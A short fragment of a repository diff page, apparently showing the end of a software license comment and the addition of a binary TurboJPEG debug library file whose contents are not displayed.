OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
||||||
|
________________________________________________________________________________*/
|
||||||
BIN
compress/jpeg/turbojpeg_32_d.lib
Normal file
BIN
compress/jpeg/turbojpeg_32_d.lib
Normal file
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user